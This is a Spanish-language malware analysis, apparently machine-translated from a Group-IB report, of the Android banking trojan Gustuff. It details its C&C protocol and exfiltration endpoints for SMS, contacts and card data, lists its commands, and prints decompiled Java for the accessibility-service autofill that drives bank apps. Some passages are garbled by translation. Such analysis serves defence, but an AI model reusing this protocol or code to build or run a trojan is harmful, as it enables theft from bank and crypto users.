Cómo el troyano Gustuff de Android se lleva la crema (fiat y cripto) de sus cuentas

Cómo el troyano Gustuff de Android se lleva la crema (fiat y cripto) de sus cuentas

Justo el otro día Grupo-IB reportado sobre la actividad del troyano móvil Android Gustuff. Funciona exclusivamente en mercados internacionales, atacando a clientes de los 100 bancos extranjeros más grandes, usuarios de 32 billeteras criptográficas móviles, así como grandes recursos de comercio electrónico. Pero el desarrollador de Gustuff es un cibercriminal de habla rusa bajo el sobrenombre de Bestoffer. Hasta hace poco elogiaba su troyano como “un producto serio para personas con conocimiento y experiencia”.

Especialista en análisis de código malicioso en Group-IB Iván Pisarev En su investigación, habla en detalle sobre cómo funciona Gustuff y cuáles son sus peligros.

¿A quién busca Gustuff?

Gustuff pertenece a una nueva generación de malware con funciones totalmente automatizadas. Según el desarrollador, el troyano es una versión nueva y mejorada del malware AndyBot, que desde noviembre de 2017 ataca teléfonos Android y roba dinero a través de formularios web de phishing disfrazados de aplicaciones móviles de conocidos bancos y sistemas de pago internacionales. Bestoffer informó que el precio de alquiler de Gustuff Bot era de 800 dólares al mes.

El análisis de la muestra Gustuff mostró que el troyano se dirige potencialmente a clientes que utilizan aplicaciones móviles de los bancos más grandes, como Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, así como a carteras criptográficas. Cartera Bitcoin, BitPay, Cryptopay, Coinbase, etc.

Creado originalmente como un troyano bancario clásico, en la versión actual Gustuff ha ampliado significativamente la lista de posibles objetivos de ataque. Además de las aplicaciones de Android para bancos, empresas de tecnología financiera y servicios de cifrado, Gustuff está dirigido a usuarios de aplicaciones de mercado, tiendas en línea, sistemas de pago y mensajería instantánea. En particular, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut y otros.

Punto de entrada: cálculo para la infección masiva

Gustuff se caracteriza por el vector "clásico" de penetración en los teléfonos inteligentes Android a través de correos SMS con enlaces a APK. Cuando un dispositivo Android se infecta con un troyano por orden del servidor, Gustuff puede propagarse aún más a través de la base de datos de contactos del teléfono infectado o a través de la base de datos del servidor. La funcionalidad de Gustuff está diseñada para la infección masiva y la máxima capitalización del negocio de sus operadores: tiene una función única de "autocompletar" en aplicaciones legítimas de banca móvil y billeteras criptográficas, lo que le permite acelerar y escalar el robo de dinero.

Un estudio del troyano mostró que la función de autocompletar se implementó mediante el Servicio de Accesibilidad, un servicio para personas con discapacidad. Gustuff no es el primer troyano que logra eludir con éxito la protección contra la interacción con elementos de ventana de otras aplicaciones que utilizan este servicio de Android. Sin embargo, el uso del Servicio de Accesibilidad en combinación con un rellenador de coche sigue siendo bastante raro.

Después de descargarlo en el teléfono de la víctima, Gustuff, utilizando el Servicio de Accesibilidad, puede interactuar con elementos de ventana de otras aplicaciones (banca, criptomonedas, así como aplicaciones de compras en línea, mensajería, etc.), realizando las acciones necesarias para los atacantes. . Por ejemplo, por orden del servidor, un troyano puede presionar botones y cambiar los valores de los campos de texto en aplicaciones bancarias. El uso del mecanismo del Servicio de Accesibilidad permite al troyano eludir los mecanismos de seguridad utilizados por los bancos para contrarrestar los troyanos móviles de generaciones anteriores, así como los cambios en la política de seguridad implementada por Google en las nuevas versiones del sistema operativo Android. Así, Gustuff “sabe” desactivar la protección de Google Protect: según el autor, esta función funciona en el 70% de los casos.

Cómo el troyano Gustuff de Android se lleva la crema (fiat y cripto) de sus cuentas

Gustuff también puede mostrar notificaciones PUSH falsas con íconos de aplicaciones móviles legítimas. El usuario hace clic en la notificación PUSH y ve una ventana de phishing descargada del servidor, donde ingresa los datos solicitados de la tarjeta bancaria o la criptomoneda. En otro escenario de Gustuff, se abre la aplicación en cuyo nombre se mostró la notificación PUSH. En este caso, el malware, tras recibir una orden del servidor a través del Servicio de Accesibilidad, puede rellenar los campos del formulario de una solicitud bancaria para una transacción fraudulenta.

La funcionalidad de Gustuff también incluye enviar información sobre un dispositivo infectado al servidor, la capacidad de leer/enviar mensajes SMS, enviar solicitudes USSD, iniciar SOCKS5 Proxy, seguir un enlace, enviar archivos (incluidos escaneos fotográficos de documentos, capturas de pantalla, fotografías) al servidor. servidor, restablezca el dispositivo a la configuración de fábrica.

Análisis de malware

Antes de instalar una aplicación maliciosa, el sistema operativo Android muestra al usuario una ventana que contiene una lista de derechos solicitados por Gustuff:

Cómo el troyano Gustuff de Android se lleva la crema (fiat y cripto) de sus cuentas
La aplicación se instalará sólo después de recibir el consentimiento del usuario. Después de iniciar la aplicación, el troyano mostrará al usuario una ventana:

Cómo el troyano Gustuff de Android se lleva la crema (fiat y cripto) de sus cuentas
Después de lo cual eliminará su icono.

Según el autor, Gustuff lo envasa una envasadora de FTT. Después del inicio, la aplicación contacta periódicamente con el servidor CnC para recibir comandos. Varios archivos que examinamos utilizaron una dirección IP como servidor de control. 88.99.171[.]105 (en adelante lo denotaremos como <%CnC%>).

Después del lanzamiento, el programa comienza a enviar mensajes al servidor. http://<%CnC%>/api/v1/get.php.

Se espera que la respuesta sea JSON en el siguiente formato:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Cada vez que se accede a la aplicación, envía información sobre el dispositivo infectado. El formato del mensaje se muestra a continuación. Vale la pena señalar que los campos ser completados, extra, aplicaciones и permiso – opcional y se enviará sólo en caso de un comando de solicitud del CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Almacenamiento de datos de configuración

Gustuff almacena información operativamente importante en un archivo de preferencias. El nombre del archivo, así como los nombres de los parámetros que contiene, son el resultado de calcular la suma MD5 a partir de la cadena. 15413090667214.6.1<%nombre%>Donde <%nombre%> — nombre-valor inicial. Interpretación de Python de la función de generación de nombres:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

En lo que sigue lo denotaremos como nombreGenerador(entrada).
Entonces el primer nombre de archivo es: generador de nombres("API_SERVER_LIST"), contiene valores con los siguientes nombres:

Nombre de la variable Valor
generador de nombres("API_SERVER_LIST") Contiene una lista de direcciones CnC en forma de matriz.
generador de nombres("API_SERVER_URL") Contiene la dirección del CnC.
generador de nombres("SMS_UPLOAD") La bandera está configurada de forma predeterminada. Si la bandera está activada, envía mensajes SMS al CnC.
generador de nombres("SMS_ROOT_NUMBER") Número de teléfono al que se enviarán los mensajes SMS recibidos por el dispositivo infectado. El valor predeterminado es nulo.
generador de nombres("SMS_ROOT_NUMBER_RESEND") La bandera está borrada de forma predeterminada. Si está instalado, cuando un dispositivo infectado reciba un SMS, se enviará al número raíz.
generador de nombres("DEFAULT_APP_SMS") La bandera está borrada de forma predeterminada. Si se establece esta bandera, la aplicación procesará los mensajes SMS entrantes.
generador de nombres("DEFAULT_ADMIN") La bandera está borrada de forma predeterminada. Si se establece la bandera, la aplicación tiene derechos de administrador.
generador de nombres ("DEFAULT_ACCESSIBILITY") La bandera está borrada de forma predeterminada. Si la bandera está configurada, se está ejecutando un servicio que utiliza el Servicio de accesibilidad.
generador de nombres ("APPS_CONFIG") Un objeto JSON que contiene una lista de acciones que se deben realizar cuando se activa un evento de accesibilidad asociado con una aplicación específica.
generador de nombres ("APPS_INSTALLED") Almacena una lista de aplicaciones instaladas en el dispositivo.
generador de nombres("IS_FIST_RUN") La bandera se reinicia en la primera salida.
generador de nombres("UNIQUE_ID") Contiene un identificador único. Generado cuando el bot se lanza por primera vez.

Módulo para procesar comandos del servidor.

La aplicación almacena las direcciones de los servidores CnC en forma de una matriz codificada por Basexnumx líneas. La lista de servidores CnC se puede cambiar al recibir el comando apropiado, en cuyo caso las direcciones se almacenarán en un archivo de preferencias.

En respuesta a la solicitud, el servidor envía un comando a la aplicación. Vale la pena señalar que los comandos y parámetros se presentan en formato JSON. La aplicación puede procesar los siguientes comandos:

Equipo Descripción
adelanteInicio Comience a enviar los mensajes SMS recibidos por el dispositivo infectado al servidor CnC.
adelanteParar Dejar de enviar mensajes SMS recibidos por el dispositivo infectado al servidor CnC.
ussdRun Ejecutar solicitud USSD. El número al que debe realizar una solicitud USSD se encuentra en el campo JSON "número".
enviar SMS Envíe un mensaje SMS (si es necesario, el mensaje se "divide" en partes). Como parámetro, el comando toma un objeto JSON que contiene los campos "a": el número de destino y "cuerpo", el cuerpo del mensaje.
enviarSmsAb Envía mensajes SMS (si es necesario, el mensaje se "divide" en partes) a todas las personas en la lista de contactos del dispositivo infectado. El intervalo entre el envío de mensajes es de 10 segundos. El cuerpo del mensaje está en el campo JSON "body"
enviarSmsMasa Envíe mensajes SMS (si es necesario, el mensaje se "divide" en partes) a los contactos especificados en los parámetros del comando. El intervalo entre el envío de mensajes es de 10 segundos. Como parámetro, el comando toma una matriz JSON (el campo "sms"), cuyos elementos contienen los campos "a": el número de destino y "cuerpo", el cuerpo del mensaje.
Cambiar de servidor Este comando puede tomar un valor con la clave "url" como parámetro - luego el bot cambiará el valor de nameGenerator ("SERVER_URL") o "matriz" - luego el bot escribirá la matriz en nameGenerator ("API_SERVER_LIST") Así, la aplicación cambia la dirección de los servidores del CnC.
administradorNúmero El comando está diseñado para funcionar con un número raíz. El comando acepta un objeto JSON con los siguientes parámetros: “número”: cambie nameGenerator(“ROOT_NUMBER”) al valor recibido, “reenviar”: cambie nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId”: envíe a nameGenerator(“ROOT_NUMBER” ) Identificación única.
actualizar información Enviar información sobre el dispositivo infectado al servidor.
borrar los datos El comando está destinado a eliminar datos del usuario. Dependiendo del nombre con el que se inició la aplicación, los datos se borran por completo al reiniciar el dispositivo (usuario principal) o solo se eliminan los datos del usuario (usuario secundario).
calcetinesInicio Inicie el módulo Proxy. El funcionamiento del módulo se describe en una sección aparte.
calcetinesDetener Detenga el módulo Proxy.
enlace abierto Sigue el link. El enlace se encuentra en el parámetro JSON debajo de la clave "url". “android.intent.action.VIEW” se utiliza para abrir el enlace.
subirTodos los SMS Envía todos los mensajes SMS recibidos por el dispositivo al servidor.
subirTodasFotos Envíe imágenes desde un dispositivo infectado a una URL. La URL viene como parámetro.
subir archivo Envíe un archivo a una URL desde un dispositivo infectado. La URL viene como parámetro.
cargar números de teléfono Envíe números de teléfono de su lista de contactos al servidor. Si se recibe como parámetro un valor de objeto JSON con la clave “ab”, la aplicación recibe una lista de contactos de la agenda telefónica. Si se recibe como parámetro un objeto JSON con la clave “sms”, la aplicación lee la lista de contactos de los remitentes de los mensajes SMS.
cambiarArchivo La aplicación descarga el archivo desde la dirección que viene como parámetro mediante la tecla “url”. El archivo descargado se guarda con el nombre "archive.zip". Luego, la aplicación descomprimirá el archivo, utilizando opcionalmente la contraseña de archivo “b5jXh37gxgHBrZhQ4j3D”. Los archivos descomprimidos se guardan en el directorio [almacenamiento externo]/hgps. En este directorio, la aplicación almacena webs falsas (descritas a continuación).
acciones El comando está diseñado para funcionar con Action Service, que se describe en una sección separada.
test Haciendo nada.
descargar El comando está destinado a descargar un archivo desde un servidor remoto y guardarlo en el directorio "Descargas". La URL y el nombre del archivo vienen como parámetros, campos en el objeto de parámetro JSON, respectivamente: “url” y “fileName”.
remove Elimina un archivo del directorio "Descargas". El nombre del archivo viene en un parámetro JSON con la clave "fileName". El nombre de archivo estándar es "tmp.apk".
. Mostrar una notificación con textos de descripción y título definidos por el servidor de gestión.

Formato de comando .:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

La notificación generada por el archivo bajo investigación parece idéntica a las notificaciones generadas por la aplicación especificada en el campo applicación. Si el valor del campo abre la app — Verdadero, cuando se abre una notificación, se inicia la aplicación especificada en el campo applicación. Si el valor del campo abre la app — Falso, entonces:

  • Se abre una ventana de phishing, cuyo contenido se descarga del directorio <%almacenamiento externo%>/hgps/<%nombre de archivo%>
  • Se abre una ventana de phishing, cuyo contenido se descarga del servidor. <%url%>?id=<%ID del robot%>&app=<%Nombre de la aplicación%>
  • Se abre una ventana de phishing, disfrazada de Google Play Card, con la posibilidad de introducir los datos de la tarjeta.

La aplicación envía el resultado de cualquier comando a <%CnC%>set_state.php como un objeto JSON en el siguiente formato:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

Servicio de acciones
La lista de comandos que procesa la aplicación incluye. DE ACTUAR!. Cuando se recibe un comando, el módulo de procesamiento de comandos accede a este servicio para ejecutar el comando extendido. El servicio acepta un objeto JSON como parámetro. El servicio puede ejecutar los siguientes comandos:

1. PARAMS_ACTION — al recibir dicho comando, el servicio primero recibe del parámetro JSON el valor de la clave Tipo, que puede ser el siguiente:

  • información de servicio – el subcomando obtiene el valor por clave del parámetro JSON incluirNoImportante. Si la bandera es Verdadera, la aplicación establece la bandera. FLAG_ISOLATED_PROCESS a un servicio que utiliza el Servicio de Accesibilidad. De esta forma el servicio se lanzará en un proceso separado.
  • raíz — recibir y enviar al servidor información sobre la ventana que está actualmente enfocada. La aplicación obtiene información utilizando la clase AccessibilityNodeInfo.
  • Admin — solicitar derechos de administrador.
  • retrasar — suspender ActionsService durante el número de milisegundos especificado en el parámetro de la clave "datos".
  • ventanas — envía una lista de ventanas visibles para el usuario.
  • instalar — instale la aplicación en el dispositivo infectado. El nombre del paquete de archivo está en la clave "nombre de archivo". El archivo en sí se encuentra en el directorio de Descargas.
  • global – el subcomando está destinado a navegar desde la ventana actual:
    • en el menú de configuración rápida
    • hace
    • hogar
    • a notificaciones
    • a la ventana de aplicaciones abiertas recientemente

  • lanzamiento - iniciar la aplicacion. El nombre de la aplicación viene como parámetro por clave. datos.
  • suena — cambia el modo de sonido a silencio.
  • desbloquear — enciende la luz de fondo de la pantalla y el teclado al máximo brillo. La aplicación realiza esta acción usando WakeLock, especificando la cadena [Etiqueta de aplicación]:INFO como etiqueta
  • permisoSuperposición — la función no está implementada (la respuesta a la ejecución del comando es {"message":"Not support"} o {"message":"low sdk"})
  • gesto — la función no está implementada (la respuesta a la ejecución del comando es {"message":"Not support"}o {"message":"Low API"})
  • permisos — este comando es necesario para solicitar permisos para la aplicación. Sin embargo, la función de consulta no está implementada, por lo que el comando no tiene sentido. La lista de derechos solicitados viene como una matriz JSON con la clave "permisos". Lista estándar:
    • android.permiso.READ_PHONE_STATE
    • android.permiso.LEER_CONTACTOS
    • android.permiso.CALL_PHONE
    • android.permiso.RECEIVE_SMS
    • android.permiso.SEND_SMS
    • android.permiso.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • habiertos — mostrar una ventana de phishing. Dependiendo del parámetro proveniente del servidor, la aplicación puede mostrar las siguientes ventanas de phishing:
    • Mostrar una ventana de phishing cuyo contenido está escrito en un archivo en un directorio <%directorio externo%>/hgps/<%param_filename%>. El resultado de la interacción del usuario con la ventana se enviará a <%CnC%>/records.php
    • Mostrar una ventana de phishing cuyo contenido está precargado desde la dirección <%url_param%>?id=<%bot_id%>&app=<%packagename%>. El resultado de la interacción del usuario con la ventana se enviará a <%CnC%>/records.php
    • Muestra una ventana de phishing disfrazada de Google Play Card.

  • interactivo — el comando está diseñado para interactuar con elementos de ventana de otras aplicaciones utilizando AcessibilityService. Se ha implementado un servicio especial en el programa de interacción. La aplicación investigada puede interactuar con Windows:
    • Actualmente activo. En este caso, el parámetro contiene la identificación o el texto (nombre) del objeto con el que necesita interactuar.
    • Visible para el usuario en el momento en que se ejecuta el comando. La aplicación selecciona ventanas por identificación.

    Habiendo recibido objetos AccesibilidadNodeInfo Para elementos de ventana de interés, la aplicación, dependiendo de los parámetros, puede realizar las siguientes acciones:

    • foco: establece el foco en el objeto.
    • hacer clic: hacer clic en un objeto.
    • actionId: realiza una acción por ID.
    • setText: cambia el texto de un objeto. Cambiar el texto es posible de dos maneras: realizar una acción ACTION_SET_TEXT (si la versión de Android del dispositivo infectado es anterior o igual a EL LOLLIPOP), o colocando una cadena en el portapapeles y pegándola en un objeto (para versiones anteriores). Este comando se puede utilizar para cambiar datos en una aplicación bancaria.

2. PARAMS_ACTIONS - igual que PARAMS_ACTION, solo llega una matriz JSON de comandos.

Parece que mucha gente estará interesada en cómo se ve la función de interactuar con los elementos de la ventana de otra aplicación. Así se implementa esta funcionalidad en Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Función de reemplazo de texto:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Así, con la correcta configuración del servidor de control, Gustuff es capaz de completar campos de texto en la aplicación bancaria y hacer clic en los botones necesarios para completar la transacción. El troyano ni siquiera necesita iniciar sesión en la aplicación; basta con enviar un comando para mostrar una notificación PUSH y luego abrir la aplicación bancaria previamente instalada. El usuario se autenticará, tras lo cual Gustuff podrá llenar el depósito del coche.

Módulo de procesamiento de mensajes SMS

La aplicación instala un controlador de eventos para que el dispositivo infectado acepte mensajes SMS. La aplicación en estudio puede recibir comandos del operador, que vienen en el cuerpo del mensaje SMS. Los comandos vienen en el formato:

7!5=<%comando codificado en Base64%>

La aplicación busca la cadena en todos los mensajes SMS entrantes. 7!5=, cuando se detecta una cadena, decodifica la cadena de Base64 en el desplazamiento 4 y ejecuta el comando. Los comandos son similares a los de CnC. El resultado de la ejecución se envía al mismo número del que provino el comando. Formato de respuesta:

7*5=<%Codificación Base64 del “comando result_code”%>

Opcionalmente, la aplicación puede enviar todos los mensajes recibidos al número Root. Para hacer esto, se debe especificar el número de raíz en el archivo de preferencias y se debe configurar el indicador de redirección de mensajes. Se envía un mensaje SMS al número del atacante en el formato:

<%De número%> - <%Hora, formato: dd/MM/aaaa HH:mm:ss%> <%Cuerpo de SMS%>

Además, opcionalmente, la aplicación puede enviar mensajes al CnC. El mensaje SMS se envía al servidor en formato JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Si la bandera está puesta generador de nombres("DEFAULT_APP_SMS") – la aplicación deja de procesar el mensaje SMS y borra la lista de mensajes entrantes.

módulo proxy

La aplicación en estudio contiene un módulo Backconnect Proxy (en adelante, módulo Proxy), que tiene una clase separada que incluye campos estáticos con configuración. Los datos de configuración se almacenan en la muestra de forma clara:

Cómo el troyano Gustuff de Android se lleva la crema (fiat y cripto) de sus cuentas

Todas las acciones realizadas por el módulo Proxy se registran en archivos. Para hacer esto, la aplicación en Almacenamiento externo crea un directorio llamado "logs" (el campo ProxyConfigClass.logsDir en la clase de configuración), en el que se almacenan los archivos de registro. El registro se produce en archivos con nombres:

  1. main.txt – el trabajo de la clase llamada CommandServer se registra en este archivo. En lo que sigue, el registro de la cadena str en este archivo se indicará como mainLog(str).
  2. sesión-<%id%>.txt — este archivo guarda datos de registro asociados con una sesión de proxy específica. En lo que sigue, el registro de la cadena str en este archivo se denominará sessionLog (str).
  3. servidor.txt – este archivo se utiliza para registrar todos los datos escritos en los archivos descritos anteriormente.

Formato de datos de registro:

<%Fecha%> [Thread[<%thread id%>], id[]]: cadena de registro

Las excepciones que ocurren durante la operación del módulo Proxy también se registran en un archivo. Para ello, la aplicación genera un objeto JSON en el siguiente formato:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Luego lo convierte en una representación de cadena y lo registra.

El módulo Proxy se inicia después de recibir el comando correspondiente. Cuando se recibe un comando para iniciar el módulo Proxy, la aplicación inicia un servicio llamado Servicio principal, que es responsable de gestionar el funcionamiento del módulo Proxy: iniciarlo y detenerlo.

Etapas de inicio del servicio:

1. Inicia un temporizador que se ejecuta una vez por minuto y comprueba la actividad del módulo Proxy. Si el módulo no está activo, lo inicia.
También cuando se desencadena el evento. android.net.conn.CONECTIVITY_CHANGE Se inicia el módulo Proxy.

2. La aplicación crea un wake-lock con el parámetro PARTIAL_WAKE_LOCK y lo captura. Esto evita que la CPU del dispositivo entre en modo de suspensión.

3. Inicia la clase de procesamiento de comandos del módulo Proxy, primero registrando la línea mainLog("iniciar servidor") и

Servidor::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

donde proxy_cnc, comando_port y proxy_port – parámetros obtenidos de la configuración del servidor Proxy.

La clase de procesamiento de comandos se llama Conexión de comando. Inmediatamente después del inicio, realiza las siguientes acciones:

4. Se conecta a ProxyConfigClass.host: ProxyConfigClass.commandPort y envía allí datos sobre el dispositivo infectado en formato JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Donde:

  • id – identificador, intenta obtener un valor con el campo “id” del archivo de preferencias compartidas llamado “x”. Si no se pudo obtener este valor genera uno nuevo. Por lo tanto, el módulo Proxy tiene su propio identificador, que se genera de manera similar al ID del Bot.
  • imei: IMEI del dispositivo. Si ocurrió un error durante el proceso de obtención del valor, se escribirá un mensaje de texto de error en lugar de este campo.
  • imsi: identidad del suscriptor móvil internacional del dispositivo. Si ocurrió un error durante el proceso de obtención del valor, se escribirá un mensaje de texto de error en lugar de este campo.
  • modelo: el nombre visible para el usuario final del producto final.
  • fabricante: el fabricante del producto/hardware (Build.MANUFACTURER).
  • androidVersion: una cadena con el formato "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • país: ubicación actual del dispositivo.
  • socioId es una cadena vacía.
  • nombredelpaquete: nombre del paquete.
  • networkType: tipo de conexión de red actual (ejemplo: “WIFI”, “MÓVIL”). En caso de error, devuelve nulo.
  • hasGsmSupport – verdadero – si el teléfono admite GSM; en caso contrario, falso.
  • simReady: estado de la tarjeta SIM.
  • simCountry: código de país ISO (según el proveedor de la tarjeta SIM).
  • networkOperator: nombre del operador. Si ocurrió un error durante el proceso de obtención del valor, se escribirá un mensaje de texto de error en lugar de este campo.
  • simOperator: el nombre del proveedor de servicios (SPN). Si ocurrió un error durante el proceso de obtención del valor, se escribirá un mensaje de texto de error en lugar de este campo.
  • versión: este campo se almacena en la clase de configuración; para las versiones probadas del bot era igual a "1.6".

5. Cambia al modo de espera de comandos del servidor. Los comandos del servidor vienen en el formato:

  • 0 desplazamiento – comando
  • 1 desplazamiento – ID de sesión
  • 2 desplazamiento – longitud
  • 4 desplazamiento - datos

Cuando llega un comando, la aplicación registra:
mainLog("Encabezado { sessionId<%id%>], tipo[<%command%>], longitud[<%length%>] }")

Son posibles los siguientes comandos desde el servidor:

Nombre Comando Datos Descripción
ID de conexión 0 ID de conexión Crear una nueva conexión
SLEEP 3 Horario Pausar el módulo Proxy
PING PONG 4 - Enviar mensaje PONG

Un mensaje PONG consta de 4 bytes y tiene este aspecto: 0x04000000.

Cuando se recibe el comando ConnectionId (para crear una nueva conexión) Conexión de comando crea una instancia de una clase Conexión de proxy.

  • Dos clases participan en el proxy: Conexión de proxy и final. Al crear una clase Conexión de proxy conectándose a la dirección ProxyConfigClass.host: ProxyConfigClass.proxyPort y pasando el objeto JSON:

 {
    "id":<%connectionId%>
}

En respuesta, el servidor envía un mensaje SOCKS5 que contiene la dirección del servidor remoto con el que se debe establecer la conexión. La interacción con este servidor se produce a través de la clase. final. La configuración de la conexión se puede representar esquemáticamente de la siguiente manera:

Cómo el troyano Gustuff de Android se lleva la crema (fiat y cripto) de sus cuentas

Interacciones de red

Para evitar el análisis del tráfico por parte de rastreadores de red, la interacción entre el servidor CnC y la aplicación se puede proteger mediante el protocolo SSL. Todos los datos transmitidos tanto desde como hacia el servidor se presentan en formato JSON. La aplicación ejecuta las siguientes solicitudes durante la operación:

  • http://<%CnC%>/api/v1/set_state.php — el resultado de la ejecución del comando.
  • http://<%CnC%>/api/v1/get.php - recibir una orden.
  • http://<%CnC%>/api/v1/load_sms.php — descargar mensajes SMS desde un dispositivo infectado.
  • http://<%CnC%>/api/v1/load_ab.php — cargar una lista de contactos desde un dispositivo infectado.
  • http://<%CnC%>/api/v1/aevents.php – la solicitud se realiza al actualizar los parámetros ubicados en el archivo de preferencias.
  • http://<%CnC%>/api/v1/set_card.php — cargar datos obtenidos mediante una ventana de phishing haciéndose pasar por Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – cargar datos de registro.
  • http://<%CnC%>/api/v1/records.php – cargar datos obtenidos a través de ventanas de phishing.
  • http://<%CnC%>/api/v1/set_error.php – notificación de un error ocurrido.

Recomendaciones

Para proteger a sus clientes de la amenaza de los troyanos móviles, las empresas deben utilizar soluciones integrales que les permitan monitorear y prevenir actividades maliciosas sin instalar software adicional en los dispositivos de los usuarios.

Para ello, es necesario reforzar los métodos de firma para detectar troyanos móviles con tecnologías que analicen el comportamiento tanto del cliente como de la propia aplicación. La protección también debería incluir una función de identificación del dispositivo mediante tecnología de huellas digitales, que permitirá saber cuándo una cuenta se está utilizando desde un dispositivo atípico y ya ha caído en manos de un estafador.

Un punto de fundamental importancia es la disponibilidad de análisis multicanal, que permite a las empresas controlar los riesgos que surgen no solo en Internet, sino también en el canal móvil, por ejemplo, en aplicaciones de banca móvil, para transacciones con criptomonedas y cualquier otro donde Se pueden realizar transacciones Transacción financiera.

Normas de seguridad para los usuarios:

  • no instale aplicaciones para un dispositivo móvil con sistema operativo Android de ninguna fuente que no sea Google Play, preste especial atención a los derechos solicitados por la aplicación;
  • instale periódicamente actualizaciones del sistema operativo Android;
  • preste atención a las extensiones de los archivos descargados;
  • no visite recursos sospechosos;
  • No haga clic en enlaces recibidos en mensajes SMS.

Protagonizada Semyon Rogacheva, especialista junior en investigación de malware en el Laboratorio de Informática Forense del Grupo-IB.

Fuente: habr.com

Añadir un comentario